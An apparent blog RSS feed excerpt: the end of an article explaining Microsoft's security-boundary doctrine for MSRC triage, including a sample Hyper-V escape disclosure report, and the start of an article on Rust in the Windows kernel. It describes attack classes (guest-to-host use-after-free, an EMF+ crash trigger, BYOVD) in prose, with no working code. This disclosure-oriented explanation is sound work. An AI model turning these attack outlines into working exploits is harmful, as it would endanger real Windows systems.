&lt;li&gt;&lt;p&gt;&lt;strong&gt;Expect the reply to be operationally predictable.&lt;/strong&gt; If the finding is on the feature side and severity is not Critical, the reply will be &quot;by design / consider for next version.&quot; Plan publication accordingly. A 90-day Project Zero clock that lines up with a probable &quot;by design&quot; reply is not a failed disclosure -- it is a successful one, because the reply was predicted in advance [@project-zero-9030].&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;For bounty-eligible classes, read the program-scope page carefully.&lt;/strong&gt; Hyper-V ($5K - $250K) [@msrc-bounty-hyperv], Windows Insider Preview ($500 - $100K) [@msrc-bounty-wip], Edge ($250 - $30K) [@msrc-bounty-edge], plus the Identity / Cloud / M365 / Azure programs [@msrc-bounty-root]. The boundary-payout mapping is dominantly tight; the program-scope page tells you whether the bounty fires.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;If the reply surprises you, the &quot;exceptions may be made&quot; clause is the framing&lt;/strong&gt; [@msrc-criteria]. A feature defeat that &lt;em&gt;does&lt;/em&gt; receive a bulletin does not contradict the doctrine; it invokes the exception. A boundary crossing that &lt;em&gt;does not&lt;/em&gt; receive a bulletin invokes the exception in the other direction (severity below bar). Either way, the doctrine is not broken; the exception clause is doing its job.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Before you spend three weeks reverse-engineering a primitive, spend three minutes reading the relevant Microsoft Bounty Program scope page. The page tells you, in plain language, whether Microsoft considers the primitive class you are attacking to be bounty-eligible. If the bounty program does not list your primitive class -- if there is no UAC-bypass bounty, no Defender-bypass-by-detection-evasion bounty, no PPL-bypass bounty -- the boundary classification has already told you the operational answer. You can still publish the research; you just know the disposition in advance.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;Subject: Boundary violation -- Hyper-V guest-to-host escape via
         root-partition heap UAF (Critical, RCE, default-on)

Section 1 -- Boundary claim
  This issue violates the Hyper-V virtual machine (guest-to-host)
  security boundary as enumerated in the Microsoft Security Servicing
  Criteria for Windows. The attack flow: a malicious L1 guest VM
  triggers a use-after-free in a Hyper-V root-partition component
  reachable via VMBus; the freed allocation is reclaimed with
  attacker-controlled data via a follow-up VMBus message; the
  resulting type confusion yields remote code execution in the host
  root-partition context with SYSTEM privileges.

Section 2 -- Severity argument
  Per the Microsoft Vulnerability Severity Classification for Windows
  bug bar, this is Critical severity:
    - Vulnerability type: Remote Code Execution
    - Server severity: Critical (server pivot: Hyper-V host is by
      definition a server role)
    - Client severity: Critical (client pivot: same primitive on
      client Hyper-V used by Windows Sandbox / WSL2)
    - Default-on: Yes (the affected root-partition component ships
      and runs by default on all Hyper-V hosts)
    - User interaction required: No
    - Attack complexity: Low

Section 3 -- Reproduction
  - Attached: minimal L1 guest exploit binary (Linux x86_64),
    deterministic on Windows Server 2025 Hyper-V build 26100.4061.
  - Attached: WinDbg crash dump showing the UAF and the controlled
    write primitive.
  - Attached: video of the SYSTEM shell on the host opened by an
    unprivileged user in the guest.

Section 4 -- Bounty eligibility
  Microsoft Hyper-V Bounty Program scope: L1 Guest Escape -- RCE on
  the host from the guest. Requested payout tier per program scope
  page.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is the checklist. The doctrine is internalised. You can predict the disposition of any Windows finding from the boundary list, the severity scheme, and the exception clause. The only thing left is the closing -- the return to the researcher we opened with.&lt;/p&gt;
&lt;h2&gt;14. Frequently Asked Questions and Closing&lt;/h2&gt;
&lt;p&gt;Return to the researcher we opened with. Their &quot;UAC bypass&quot; was filed against a primitive that was never on the boundary list, and the MSRC reply was operationally correct, not a cop-out. The doctrine the reply invoked is the one this article has just walked.&lt;/p&gt;

No. UAC was never officially classified as a boundary. Mark Russinovich&apos;s June 2007 *Inside Windows Vista User Account Control* article stated verbatim that *&quot;UAC elevations are conveniences and not security boundaries&quot;* -- two years before the January 2009 Long Zheng and Rafael Rivera Windows 7 beta UAC auto-elevation disclosure [@russinovich-vista-uac-wayback]. What Microsoft changed in 2009 was the *implementation* (UAC slider promoted to High integrity; UAC-settings changes prompting), not the *classification*. Russinovich&apos;s July 2009 follow-up article restated the original position [@ms-learn-russinovich-win7].

No. &quot;By design&quot; means the doctrine explicitly chose not to service this primitive class as a boundary violation. Microsoft may still harden the feature in a future Windows release, ship out-of-band Canary build mitigations (as with PPLFault build 25941) [@landau-pplfault], or assign CVEs to specific exploitation chains that cross *other* boundaries (as with Windows Downdate&apos;s CVE-2024-21302) [@leviev-downdate-update]. The finding is interesting research. It simply does not receive a CVE under the published doctrine.

Probably not, but the Administrator Protection elevation *path* is now a boundary [@ms-learn-admin-protection], and the Landau / Leviev disclosures keep pressure on the unmoved part of the classification. The structural impossibility argument (admin loads drivers; drivers run in kernel) makes a doctrinal reclassification unlikely without a deeper architectural change. The most plausible architectural change would be the extension of VTL Enclaves and VBS Trustlets to host security-critical kernel components, such that *admin-to-VTL1* becomes the boundary even as *admin-to-VTL0-kernel* stays a feature [@ms-learn-vbs-ci].

No. Defender bypasses that do not also cross another boundary typically do not receive bulletins. Tavis Ormandy&apos;s 2014 to 2017 Defender disclosures earned CVEs because the bugs were memory-corruption primitives reachable from attacker-controlled inputs over the network -- they crossed the network boundary, not because the Defender bypass itself was a boundary crossing. The CVE-2017-0290 *crazy bad* MsMpEng RCE, addressed by Microsoft Security Advisory 4022344 (May 8, 2017), is the flagship instance [@ms-advisory-4022344]. A clever signature-evasion technique alone earns &quot;by design.&quot;

No. It has grown by accretion: Session 0 isolation (Vista, 2007); AppContainer / Edge sandbox (Windows 8 / 1607, 2012 to 2016); VBS / VTL (Windows 10 1507, 2015); Administrator Protection elevation path (2025) [@ms-learn-admin-protection]. The list is expected to keep growing. Candidate future entries include cloud-side primitives (Conditional Access, Primary Refresh Token) and possibly an AI-mediated action-expansion entry.

Not on its own. BYOVD only earns a Microsoft CVE if a second primitive (network, user, AppContainer) is also crossed, or if the *driver vendor* receives the CVE. The Microsoft *Vulnerable Driver Blocklist* is feature hardening that ships in Windows updates, but the loadability of a properly-signed driver by an administrator is not a boundary crossing under the doctrine [@leviev-downdate-update].

No. AM-PPL is a *feature*. The Microsoft Learn page documents PPL as a hardening mechanism for anti-malware services [@ms-learn-am-ppl], and Gabriel Landau&apos;s *Inside Microsoft&apos;s Plan to Kill PPLFault* preserves the verbatim MSRC position: *&quot;Microsoft does not consider PPL to be a security boundary&quot;* [@landau-pplfault]. Microsoft will still ship PPLFault-class mitigations as feature hardening (build 25941 was the canary), but PPL-bypass reports that do not also cross another boundary do not earn standard Patch Tuesday bulletins.
&lt;h3&gt;Closing&lt;/h3&gt;
&lt;p&gt;The Administrator Protection addition is the most interesting recent move because it &lt;em&gt;closes&lt;/em&gt; the elevation-path gap that the entire UAC era could not close. Microsoft added the SMAA elevation path to the boundary table while leaving the admin-to-kernel primitive on the feature side. The result is a two-tier classification: UAC bypasses still do not get CVEs, but Administrator Protection bypasses do -- and Forshaw&apos;s nine pre-GA disclosures, all of which Microsoft &lt;em&gt;fixed&lt;/em&gt; (not &quot;by design&quot;-replied) are the public-record evidence that the new classification is operationally enforced [@pz-tracker-432313668]. The 2026 frontier is cloud-side and AI-mediated. The boundary list is still growing.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The doctrine of what is a boundary is the silent gatekeeper of MSRC triage. Reading it is the difference between filing a useful report and getting back &quot;by design -- UAC is not a security boundary.&quot; Every Windows security engineer should be able to recite the boundary list from memory. After this article, you can.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;windows-security-boundaries-the-document-that-decides-what-gets-a-cve&quot; keyTerms={[
  { term: &quot;Security boundary&quot;, definition: &quot;A logical separation between security domains with different levels of trust, with security policy dictating what can pass through. Boundary crossings receive CVEs under the MSRC servicing criteria when severity meets the bar.&quot; },
  { term: &quot;Security feature&quot;, definition: &quot;A mechanism that raises the difficulty of attack but does not carry a vendor guarantee that policy holds. Feature defeats may still ship as security updates via the exception clause, but they are not boundary crossings.&quot; },
  { term: &quot;Two-question rule&quot;, definition: &quot;(1) Does the vulnerability violate the goal or intent of a security boundary or a security feature? (2) Does the severity meet the bar for servicing? Both yes = service via security update. Either no = by design / next version, with exceptions.&quot; },
  { term: &quot;System Managed Administrator Account (SMAA)&quot;, definition: &quot;The Administrator Protection elevation primitive: a hidden, profile-separated user account with its own SID, profile, and logon session, used to host elevated-administrator tokens authorised via Windows Hello.&quot; },
  { term: &quot;Trustlet&quot;, definition: &quot;A process running in VTL1 (Isolated User Mode), protected by the hypervisor from VTL0 (the normal kernel). LsaIso, the Isolated LSA Trustlet that holds Credential Guard credentials, is the canonical example.&quot; },
  { term: &quot;BYOVD&quot;, definition: &quot;Bring Your Own Vulnerable Driver: an administrator installs a legitimately-signed driver containing an exploitable vulnerability and uses the driver to obtain arbitrary kernel-mode code execution. Not a Microsoft boundary crossing because admin loads drivers by design.&quot; },
  { term: &quot;Protected Process Light (PPL)&quot;, definition: &quot;A signer-hierarchy mechanism introduced in Windows 8.1 that lets specially-signed processes refuse code injection and termination even from administrators. Microsoft explicitly classifies PPL as not a security boundary.&quot; },
  { term: &quot;Mandatory Integrity Control (MIC)&quot;, definition: &quot;Each securable object and access token carries an integrity level: Untrusted / Low / Medium / High / System. Lower-integrity subjects cannot write to higher-integrity objects regardless of DACL permissions.&quot; }
]} flashcards={[
  { front: &quot;Is UAC a security boundary?&quot;, back: &quot;No. UAC has been classified as a security feature, not a boundary, since Russinovich&apos;s June 2007 TechNet article. UACMe has documented more than 80 auto-elevation bypasses and zero CVEs.&quot; },
  { front: &quot;Is admin-to-kernel a security boundary?&quot;, back: &quot;No. Administrators can load drivers by design; drivers run in kernel mode. The Landau ItsNotASecurityBoundary repo name is an explicit homage to this MSRC policy.&quot; },
  { front: &quot;Is the Administrator Protection elevation path a security boundary?&quot;, back: &quot;Yes, as of 2025. The SMAA token has a separate SID, separate profile, and separate logon session from the user&apos;s standard-user token; the user boundary applies.&quot; },
  { front: &quot;Is HVCI a security boundary?&quot;, back: &quot;No. HVCI is a feature enforced inside VTL1. The VTL boundary is on the boundary list; HVCI is a feature that lives at that boundary.&quot; },
  { front: &quot;Is PPL a security boundary?&quot;, back: &quot;No. Microsoft has stated verbatim that &apos;Microsoft does not consider PPL to be a security boundary.&apos; AM-PPL is a feature that protects anti-malware services.&quot; },
  { front: &quot;Is bypassing Defender a CVE?&quot;, back: &quot;Only if the bypass also crosses another boundary. Defender-itself bypasses are feature defeats; Tavis Ormandy&apos;s 2014 to 2017 CVEs crossed the network boundary.&quot; },
  { front: &quot;Is same-user post-authentication a security boundary?&quot;, back: &quot;No. Once a process executes under a user&apos;s session, it inherits the user&apos;s trust. Forshaw&apos;s June 2024 Recall ACL post is the doctrinal anchor.&quot; },
  { front: &quot;Is guest-to-host on Hyper-V a security boundary?&quot;, back: &quot;Yes. It pays $5,000 to $250,000 USD under the Microsoft Hyper-V Bounty Program -- the highest single-finding payout in the Microsoft bounty catalogue.&quot; }
]} questions={[
  { q: &quot;Why is decoupling Question 1 (classification) from Question 2 (severity) the load-bearing engineering decision of the entire doctrine?&quot;, a: &quot;Because a single-question rule would collapse the doctrine into opaque MSRC judgment. Decoupling lets Microsoft commit to a published taxonomy on the classification half while retaining engineering judgment on severity, with the explicit exception clause as the relief valve in either direction.&quot; },
  { q: &quot;Explain why HVCI is on the feature list even though VTL is on the boundary list.&quot;, a: &quot;HVCI is a feature enforced inside VTL1, under the protection of the hypervisor. The VTL boundary protects HVCI from VTL0 attackers, but HVCI itself does not enforce a separation between security domains. The boundary is the VTL line; HVCI is one of the features that runs at that boundary.&quot; },
  { q: &quot;How did Administrator Protection close a gap that the entire UAC era could not?&quot;, a: &quot;By creating a new elevation primitive (the SMAA token) with a separate SID, separate profile, and separate logon session, so that the existing user boundary applies. The Russinovich-2007 shared-resources structural argument that disqualified UAC from boundary status no longer applies because the SMAA token does not share those resources with the standard-user token.&quot; },
  { q: &quot;Why does the absence of a UAC-bypass bounty matter for understanding the doctrine?&quot;, a: &quot;Because the bounty schedule mirrors the boundary list mechanically. Microsoft only pays standalone bounties for findings that violate primitives the company commits to defending. The absence of a UAC bounty is structural, not oversight: there is no boundary to violate, so there is nothing to pay for.&quot; },
  { q: &quot;Predict the MSRC disposition of a Defender bypass that allows malware to evade signature detection but does not introduce any other primitive. Justify your prediction.&quot;, a: &quot;By design / consider for next version. Defender is on the feature list (heuristic detection cannot guarantee detection); a signature-evasion technique is a feature defeat with no boundary crossing; the severity gate is satisfied only by Critical / Important impact, and a pure detection evasion typically does not meet the bar. The exception clause could fire for an unusually impactful detection-evasion technique, but the default disposition is by design.&quot; }
]} /&amp;gt;&lt;/p&gt;
&lt;p&gt;The boundary list. From memory. Now.&lt;/p&gt;
</content:encoded><category>windows-security</category><category>msrc</category><category>vulnerability-disclosure</category><category>security-boundaries</category><category>cve</category><category>patch-tuesday</category><category>uac</category><category>administrator-protection</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>Rust in the Windows Kernel: A Field Guide to the 2024-2026 Memory-Safety Refit</title><link>https://paragmali.com/blog/rust-in-the-windows-kernel-a-field-guide-to-the-2024-2026-me/</link><guid isPermaLink="true">https://paragmali.com/blog/rust-in-the-windows-kernel-a-field-guide-to-the-2024-2026-me/</guid><description>Rust ships in the Windows 11 kernel today. A primary-sourced field guide to what actually shipped from BlueHat IL 2019 through 24H2 in 2026, and what did not.</description><pubDate>Sat, 23 May 2026 00:00:00 GMT</pubDate><content:encoded>
**Rust ships in the Windows kernel today.** The binary is `%SystemRoot%\System32\win32kbase_rs.sys`, first surfaced in Insider Preview Build 25905 on 12 July 2023 and most recently in the news through Check Point Research&apos;s May 2025 &quot;Denial of Fuzzing&quot; disclosure. The realistic ten-year trajectory is **not** a Windows rewrite. It is &quot;memory-safe by default for newly written code&quot; plus targeted rewrites of high-blast-radius modules, with the unsafe-FFI boundary as the irreducible audit frontier. This article is a primary-sourced field guide to what actually shipped from BlueHat IL 2019 through Windows 11 24H2 in 2026, what did not, and what the next decade looks like.
&lt;h2&gt;1. The Blue Screen That Wasn&apos;t a Bug&lt;/h2&gt;
&lt;p&gt;On 28 May 2025, Microsoft shipped KB5058499 to patch a kernel bug in Windows 11 24H2 [@kb5058499]. The bug was an out-of-bounds array access in a Rust function called &lt;code&gt;region_from_path_mut()&lt;/code&gt; inside the binary &lt;code&gt;%SystemRoot%\System32\win32kbase_rs.sys&lt;/code&gt; [@cybersecuritynews]. Rust correctly detected the access. Because the detection fired at high IRQL inside a kernel binary compiled with &lt;code&gt;panic = &quot;abort&quot;&lt;/code&gt;, the response was a system-wide blue screen [@checkpoint-dof].&lt;/p&gt;
&lt;p&gt;Read that again. &lt;em&gt;Rust&lt;/em&gt;. In &lt;code&gt;ntoskrnl&lt;/code&gt;&apos;s neighbourhood. In production. Detecting a memory-safety violation. Panicking. Bugchecking the box.&lt;/p&gt;

The class of programming error -- buffer overflow, use-after-free, type confusion, integer overflow, double-free, uninitialised read -- where unsafe memory access leads to undefined behaviour. For two decades the Microsoft Security Response Center has reported that roughly seventy percent of Microsoft&apos;s CVE-assigned vulnerabilities come from this class.

The first Windows kernel binary written in Rust. It contains the Win32k GDI region and shape engine, and after 2025 includes portions of the EMF and EMF+ metafile parsing path. The `_rs` suffix is Microsoft&apos;s internal convention for Rust-implemented kernel binaries. You can verify the file exists on any modern Windows 11 install by checking `%SystemRoot%\System32\win32kbase_rs.sys`.The first public ship was Windows 11 Canary-channel Insider Preview Build 25905 on 12 July 2023. The Windows Insider blog called out the change explicitly: &quot;This preview shipped with an early implementation of critical kernel features in safe Rust&quot; [@insider-25905].
&lt;p&gt;The Check Point Research write-up tells the story tightly [@checkpoint-dof]. A handcrafted Enhanced Metafile Format Plus (EMF+) record -- specifically an &lt;code&gt;EmfPlusDrawBeziers&lt;/code&gt; shape with a mismatched point count -- arrives at the kernel by way of a normal-looking &lt;code&gt;NtGdiSelectClipPath&lt;/code&gt; syscall. The metafile parser hands the malformed point array to &lt;code&gt;region_from_path_mut()&lt;/code&gt;, the Rust function that converts a Bezier path into a clipping region. Indexing into the array, Rust observes the index is out of bounds. Safe Rust&apos;s bounds check fires. &lt;code&gt;core::panicking::panic_bounds_check&lt;/code&gt; runs. And because the binary lives in kernel mode, the panic does not unwind: it aborts [@esecurityplanet]. The bugcheck code is &lt;code&gt;SYSTEM_SERVICE_EXCEPTION&lt;/code&gt; [@cybersecuritynews].&lt;/p&gt;

The Windows kernel&apos;s per-CPU priority level, ranging from PASSIVE_LEVEL up through DIRQL. At IRQL ≥ DISPATCH_LEVEL the scheduler cannot run, paged memory cannot be touched, and almost no recovery path is available. A panic at high IRQL has nowhere to go except the system-wide bugcheck.

The Rust compilation profile setting that converts any runtime panic into an immediate process abort rather than stack unwinding. It is mandatory for `no_std` kernel binaries because there is no unwinder, no `std::panic::catch_unwind`, and no way to clean up locks, allocations, or interrupt state held at the point of panic.
&lt;p&gt;Microsoft classified the issue as a moderate-severity denial of service. The patch tightened the bounds check upstream, kept the Rust panic as the last-resort backstop, and shipped on. There is no CVE-2025 RCE here, no privilege escalation, no infoleak: this Rust panic was the security boundary doing exactly what it was designed to do, and the price was a controlled BSOD rather than a memory-corruption primitive in attacker hands [@checkpoint-dof].&lt;/p&gt;
&lt;p&gt;That single bug carries two non-obvious claims that the rest of the article will unpack. First, this is the largest &lt;em&gt;language-level&lt;/em&gt; memory-safety refit in NT&apos;s roughly thirty-three-year history, distinct in kind from &lt;code&gt;/GS&lt;/code&gt; stack cookies, Address Space Layout Randomization (ASLR), Control Flow Guard (CFG), Hypervisor-protected Code Integrity (HVCI), or Intel Control-flow Enforcement Technology (CET). All of those are mitigations that raise the &lt;em&gt;cost&lt;/em&gt; of exploiting a memory-safety bug. Rust eliminates the bug &lt;em&gt;class&lt;/em&gt; in the modules it covers. That is a different kind of fix.&lt;/p&gt;
&lt;p&gt;Second, the realistic ten-year shape is &quot;memory-safe by default for new code,&quot; not &quot;rewrite Windows.&quot; Microsoft&apos;s distinguished engineer Galen Hunt got in trouble in December 2025 for a LinkedIn post about an internal &quot;1 engineer, 1 month, 1 million lines of code&quot; research target [@register-2025-12-24]. Frank X. Shaw, head of Microsoft&apos;s communications, confirmed within days that the company has no plan to rewrite Windows 11 using AI [@windowslatest-galen; @infoworld-not-rewriting]. The trajectory is policy, not project.&lt;/p&gt;
&lt;p&gt;So: Rust in the Windows kernel. Real binary, real BSOD, real patch, real timeline. &lt;em&gt;How did we get here, and why is a Rust-detected memory-safety violation still a system-wide crash?&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;2. The 70-Percent Number and Why Mitigations Plateaued&lt;/h2&gt;
&lt;p&gt;In early February 2019, in Tel Aviv, Matt Miller stood up at BlueHat IL and asked the question that anchored the next seven years of Microsoft&apos;s security strategy. After two decades of Microsoft Security Response Center (MSRC) triage, what fraction of vulnerabilities are still memory-safety bugs? His answer, drawn from a decade of CVE data: about seventy percent [@miller-bluehat-2019; @infoq-mitigating].&lt;/p&gt;
&lt;p&gt;The number was not new in 2019. The MSRC&apos;s own July 2019 essay re-stated it in plain prose: &quot;approximately 70% of the vulnerabilities Microsoft assigns a CVE each year continue to be memory safety issues&quot; [@msrc-proactive-2019]. It had not moved in a decade despite &lt;code&gt;/GS&lt;/code&gt; stack cookies, Data Execution Prevention (DEP), ASLR, CFG, &lt;a href=&quot;https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/&quot; rel=&quot;noopener&quot;&gt;Hypervisor-protected Code Integrity&lt;/a&gt;, and Intel CET [@msrc-safer-2019]. Mark Russinovich repeated the number at RustConf 2025 in Seattle: &quot;about 70% over the past two decades&quot; [@newstack-russinovich].&lt;/p&gt;
&lt;p&gt;A note on attribution. The originating talk was Miller&apos;s, not David Weston&apos;s. The press cycle following Weston&apos;s 2023 BlueHat IL announcement often credited him with the 70% figure. Weston and Russinovich operationalised it; Miller and the MSRC published it. The deck is in the &lt;code&gt;microsoft/MSRC-Security-Research&lt;/code&gt; repository on GitHub under the &lt;code&gt;2019_02_BlueHatIL&lt;/code&gt; directory; you can read it today [@miller-bluehat-2019].Miller was MSRC&apos;s Partner Security Software Engineer at the time of the talk. He has since moved on, but Microsoft kept the BlueHat IL 2019 deck in the public security-research repo as a primary artefact for the figure.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The 70% figure was roughly the same in 2009 as in 2019. The mitigations stack had absorbed two decades of compiler, OS, and hardware investment without moving the curve. That is why the question shifted from &quot;how do we make exploitation harder&quot; to &quot;how do we eliminate the bug class itself.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;To see why the curve stayed flat, walk the supersession history. Each generation of mitigation closed a specific exploitation primitive. None closed a bug class.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/GS&lt;/code&gt; (Visual Studio .NET 2002/2003) inserted a per-function stack canary to detect linear stack-buffer overruns that overwrote a saved return address [@learn-gs]. It defended only the prologue-epilogue window of stack frames. Heap overflows, non-adjacent stack writes, type confusion, and info-leak-then-corrupt all walked around it.&lt;/p&gt;
&lt;p&gt;DEP / NX (Windows XP Service Pack 2, 2004) marked data pages non-executable so attackers could not jump into a buffer they had written [@learn-dep]. Hovav Shacham&apos;s 2007 paper on Return-Oriented Programming showed how to compose Turing-complete payloads from existing executable code without ever introducing a new instruction [@shacham-rop-2007]. DEP raised exploit cost. It did not close the bug class.&lt;/p&gt;
&lt;p&gt;ASLR (Windows Vista, 2006) randomised module, heap, and stack base addresses so attackers could not pre-compute jump targets [@learn-aslr]. The defeat was a single information-disclosure primitive away. Every modern Windows exploit chain begins with an infoleak.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://paragmali.com/blog/control-flow-integrity-on-windows-cfg-xfg-and-the-cet-shadow/&quot; rel=&quot;noopener&quot;&gt;CFG (Windows 8.1, 2014)&lt;/a&gt; restricted indirect calls to a per-binary set of valid call targets [@learn-cfg]. XFG (announced at BlueHat Shanghai 2019, &lt;code&gt;/guard:xfg&lt;/code&gt; compiler support shipped in MSVC in 2020, available in Windows 11 from 2021 as an opt-in compile-time flag, not enabled by default for third-party binaries) tightened that to type-signed indirect call sites [@quarkslab-xfg; @mcgarr-examining-xfg]. CET shadow stack (broadly shipping in Windows 11 in 2021) sealed the return-address half of the same family on hardware that supports it [@msft-cet-shadow]. All three are forms of Control-Flow Integrity, and all three by construction defend the &lt;em&gt;control-flow graph&lt;/em&gt; only.&lt;/p&gt;

The family of compile-time and hardware mitigations -- including CFG, XFG, and CET shadow stack -- that restricts indirect control transfers (jumps, calls, returns) to a per-binary set of valid targets. CFI is, by construction, blind to attacks that corrupt program data without changing the control-flow graph.

A class of exploitation in which an attacker corrupts program *data* without changing the control-flow graph. Hu et al. proved at IEEE Symposium on Security and Privacy 2016 that DOP is Turing-complete -- meaning an attacker who can corrupt the right pieces of data can compute arbitrary functions while the protected program faithfully follows its original control flow [@hu-dop-2016].
&lt;p&gt;That theorem is the structural ceiling. If DOP can express arbitrary computation while the program&apos;s control-flow graph remains unviolated, then no amount of CFI can close the bug class. Every CFI variant could be implemented perfectly tomorrow and the 70% figure would still not move. The MSRC&apos;s July 2019 &quot;We need a safer systems programming language&quot; essay said the quiet part aloud: &quot;no matter the amount of mitigations put in place, it is near impossible to write memory-safe code using traditional systems-level programming languages at scale&quot; [@msrc-safer-2019].&lt;/p&gt;

The MSRC essay -- written by Matt Miller&apos;s team in the same July 2019 cycle as the BlueHat IL talk -- ends with a striking concession: &quot;rather than providing guidance and tools for addressing flaws, we should strive to prevent the developer from introducing the flaws in the first place&quot; [@msrc-safer-2019]. That sentence is the strategic pivot. After two decades of *mitigation* investment, Microsoft publicly accepted that mitigations could not solve the problem alone. The only structural fixes are at the language layer (eliminate the unsafe primitives) or the hardware layer (enforce safety at every dereference). Hu et al.&apos;s DOP theorem was the formal moment &quot;mitigations are necessary but not sufficient&quot; stopped being a slogan and became math.
&lt;p&gt;The supersession trace is compact enough to fit in one table.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Generation&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;th&gt;Year&lt;/th&gt;
&lt;th&gt;Closes&lt;/th&gt;
&lt;th&gt;Defeated by&lt;/th&gt;
&lt;th&gt;Residual bug class&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;G1&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/GS&lt;/code&gt; stack canary&lt;/td&gt;
&lt;td&gt;2002/2003&lt;/td&gt;
&lt;td&gt;Linear stack overruns past return address&lt;/td&gt;
&lt;td&gt;Heap overflows, non-adjacent writes, infoleaks&lt;/td&gt;
&lt;td&gt;Memory corruption (all classes except narrow stack)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;G2&lt;/td&gt;
&lt;td&gt;DEP / NX&lt;/td&gt;
&lt;td&gt;2004&lt;/td&gt;
&lt;td&gt;Code injection into data pages&lt;/td&gt;
&lt;td&gt;ROP (Shacham 2007)&lt;/td&gt;
&lt;td&gt;Memory corruption (control transferred to existing code)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;G3&lt;/td&gt;
&lt;td&gt;ASLR&lt;/td&gt;
&lt;td&gt;2006&lt;/td&gt;
&lt;td&gt;Pre-computed gadget addresses&lt;/td&gt;
&lt;td&gt;Information-disclosure primitives&lt;/td&gt;
&lt;td&gt;Memory corruption (after infoleak)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;G4&lt;/td&gt;
&lt;td&gt;CFG (default) / XFG (opt-in)&lt;/td&gt;
&lt;td&gt;2014 / 2021&lt;/td&gt;
&lt;td&gt;Arbitrary indirect call targets&lt;/td&gt;
&lt;td&gt;Data-oriented programming (Hu 2016)&lt;/td&gt;
&lt;td&gt;Data-only memory corruption&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;G4&lt;/td&gt;
&lt;td&gt;CET shadow stack&lt;/td&gt;
&lt;td&gt;2021&lt;/td&gt;
&lt;td&gt;Return-address rewrites&lt;/td&gt;
&lt;td&gt;DOP, non-return CFI bypass&lt;/td&gt;
&lt;td&gt;Data-only memory corruption&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;G5&lt;/td&gt;
&lt;td&gt;HVCI, Driver Verifier, WDAC&lt;/td&gt;
&lt;td&gt;2015+&lt;/td&gt;
&lt;td&gt;Unsigned/unverified driver code&lt;/td&gt;
&lt;td&gt;Memory corruption in signed drivers&lt;/td&gt;
&lt;td&gt;Memory corruption in trusted code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;G6&lt;/td&gt;
&lt;td&gt;Rust in the Windows kernel&lt;/td&gt;
&lt;td&gt;2023+&lt;/td&gt;
&lt;td&gt;The bug class itself, in covered modules&lt;/td&gt;
&lt;td&gt;Bugs in &lt;code&gt;unsafe&lt;/code&gt; blocks; panic-as-BSOD&lt;/td&gt;
&lt;td&gt;Logic bugs, FFI invariant violations, DoS via panic&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The cross-vendor data agrees. Chromium&apos;s own engineering reports peg roughly 70% of high-severity browser bugs as memory safety. Google&apos;s Android security team published in September 2024 that memory-safety vulnerabilities in Android dropped from 76% of total in 2019 to 24% in 2024 -- not by rewriting existing C and C++, but by writing &lt;em&gt;new&lt;/em&gt; code in Rust [@google-android-2024]. The structural fix shows up in the data when it ships.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Mitigations bound the &lt;em&gt;cost&lt;/em&gt; of exploitation. Only a memory-safe language or capability hardware bounds the &lt;em&gt;size of the bug class itself&lt;/em&gt;. After two decades, the 70% figure had not moved. The structural answer was no longer optional.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If the structural fix had to come from the language layer, why did Microsoft choose Rust -- and not the safer-systems-language it had been researching since 2006?&lt;/p&gt;

flowchart LR
  GS[&quot;/GS stack cookie&lt;br /&gt;2002 / 2003&quot;] --&amp;gt; DEP[&quot;DEP / NX&lt;br /&gt;2004&quot;]
  DEP --&amp;gt; ASLR[&quot;ASLR&lt;br /&gt;2006&quot;]
  ASLR --&amp;gt; CFG[&quot;CFG / XFG&lt;br /&gt;2014 / 2021&quot;]
  CFG --&amp;gt; CET[&quot;CET shadow stack&lt;br /&gt;2021&quot;]
  CFG --&amp;gt; HVCI[&quot;HVCI + WDAC&lt;br /&gt;2015+&quot;]
  CET --&amp;gt; Rust[&quot;win32kbase_rs.sys&lt;br /&gt;Rust in kernel&lt;br /&gt;2023&quot;]
  HVCI --&amp;gt; Rust
  ASLR -.-&amp;gt;|&quot;defeated by infoleaks&quot;| Bypass1[&quot;arbitrary primitives&quot;]
  CFG -.-&amp;gt;|&quot;defeated by DOP, Hu 2016&quot;| Bypass2[&quot;data-only attacks&quot;]
  Rust ==&amp;gt;|&quot;closes the bug class&lt;br /&gt;in covered modules&quot;| Win[&quot;memory-safe by default&lt;br /&gt;for new code&quot;]
&lt;h2&gt;3. Verona, windows-rs, and the Long Approach&lt;/h2&gt;
